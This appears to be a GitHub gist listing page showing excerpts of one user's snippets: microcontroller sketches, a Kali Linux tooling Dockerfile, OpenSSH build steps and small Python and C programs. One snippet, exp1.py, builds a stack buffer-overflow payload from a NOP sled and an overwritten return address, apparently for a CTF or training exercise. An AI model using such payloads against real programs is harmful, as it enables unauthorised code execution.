Skip to content

Instantly share code, notes, and snippets.

@koide55
koide55 / ambientesp.ino
Last active May 5, 2024 07:07
ESP32DevKit+BMP280+AHT20+Ambient
#include <Ambient.h>
#include <Adafruit_AHTX0.h>
#include <Wire.h>
#include <SPI.h>
#include <Adafruit_BMP280.h>
#include <WiFi.h>
Adafruit_AHTX0 aht;
Adafruit_BMP280 bmp; // use I2C interface
Adafruit_Sensor *bmp_temp = bmp.getTemperatureSensor();
@koide55
koide55 / Dockerfile
Last active March 9, 2024 07:12
container2024
FROM --platform=linux/amd64 kalilinux/kali-rolling:latest
# Update all the things, then install my personal faves
RUN apt-get clean
RUN apt-get update -y
RUN apt-get upgrade -y
RUN apt-get dist-upgrade -y
RUN apt-get install -y gdb wpscan wordlists binutils less manpages
RUN apt-get install -y python3-full netcat-traditional wget sudo
RUN apt-get install -y libc6-dev-i386 vim python3-pip
@koide55
koide55 / exp1.py
Created January 28, 2024 11:15
pwn 2024-01-29
from pwn import *
buf = b'\x90'*524
buf += p32(0xffffcefc)
f=open("in.bin", "wb")
f.write(buf)
f.close()
@koide55
koide55 / sshdex001.pem
Last active December 21, 2023 13:44
SECCON2023WS
sudo yum -y groupinstall "Development Tools"
sudo yum -y install openssl-devel
mkdir work work/openssh work/openssh/dist
cd work/openssh/
wget https://repo.jing.rocks/pub/OpenBSD/OpenSSH/portable/openssh-9.6p1.tar.gz
tar xvzf openssh-9.6p1.tar.gz
cd openssh-9.6p1/
./configure --prefix=/home/ec2-user/work/openssh/dist
export CFLAGS=-D_GNU_SOURCE
make install
@koide55
koide55 / ledgame01.ino
Last active June 25, 2023 05:06
making arduino games
/* LED GAME */
// Notes
const int Note_C = 239;
const int Note_CS = 225;
const int Note_D = 213;
const int Note_DS = 201;
const int Note_E = 190;
const int Note_F = 179;
const int Note_FS = 169;
const int Note_G = 159;
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8" />
<title>Security Camp in Kyushu</title>
</head>
<body>
<h2>こんにちは,<span id="hello-user">{{username}}</span>さん</h2><br />
<h2>ここは,<span class="marked-font">みんなの掲示板</span>用のページです.</h2>
<ol id="comment-list" style="margin:2em;">
@koide55
koide55 / exec001.c
Created October 2, 2022 03:53
fork, pipe
#include <stdio.h>
#include <unistd.h>
main()
{
int result;
result = execl("/bin/ls", "ls", "-la", "/usr/local/include", NULL);
for (;;)
printf("result=%d\n", result);
}
from peewee import *
DBFILE="./data.db"
db = SqliteDatabase(DBFILE)
# Define Model classes ####################################################
class BaseModel(Model):
class Meta:
database = db
/*
* Sender and Receiver Program
*
* Pin Assign
*
* Sender Case
* SENDER RECIVER
* Data D2 >> D2
* CLK D3 >> D3
* ACK D4 << D4
import threading
from urllib.parse import urlparse,parse_qs
from http.server import BaseHTTPRequestHandler,HTTPServer
class MyHandler(BaseHTTPRequestHandler):
num=1000
def set_port(self, port = 8123):
self.port = port